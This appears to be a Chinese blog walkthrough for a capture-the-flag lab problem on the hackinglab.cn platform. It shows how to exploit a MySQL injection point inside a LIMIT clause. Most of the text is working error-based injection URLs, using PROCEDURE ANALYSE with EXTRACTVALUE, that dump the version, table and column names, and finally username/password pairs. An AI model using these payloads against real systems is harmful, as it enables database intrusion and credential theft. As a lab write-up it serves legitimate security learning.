由于网络信息安全攻防学习平台新增的题目比较有针对性,相应的难度也有一定的增加,所以我会将新增的题目的过关攻略单独出来进行讲解,希望小伙伴们喜欢。
还是一如既往的,给出平台的地址:
http://hackinglab.cn/index_4.php
今天的主题是mysql注入中,当注入点处于limit处的时候,注入该如何实现,还是请大家在看正面的内容之前,请看下面的文章:
http://www.waitalone.cn/mysql-limit-injection.html
络信息安全攻防学习平台注入关第5题
过关提示信息:
小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢?
以下是解题过程:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)%23&num=1
得到数据库版本:5.1.61-Alibaba-rds-201404-log
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1))),1)%23&num=1
得到表:article
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1))),1)%23&num=1
得到表:user
以下语句获取user表的字段名:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x75736572 LIMIT 0,1))),1)%23&num=1
id,username,password,lastloginIP
以下语句获取相应的字段内容:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT distinct concat(0x7e,username,0x3a,password,0x7e) FROM user LIMIT 2,1))),1)%23&num=1
flag:myflagishere
那么该题目的答案就呼之欲出了,就是上面的,请自行测试。。。
from www.waitalone.cn.thanks for it.
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论